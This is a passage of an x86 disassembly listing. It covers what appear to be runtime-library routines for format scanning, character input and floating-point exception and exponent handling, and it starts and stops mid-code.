movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_427050 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: 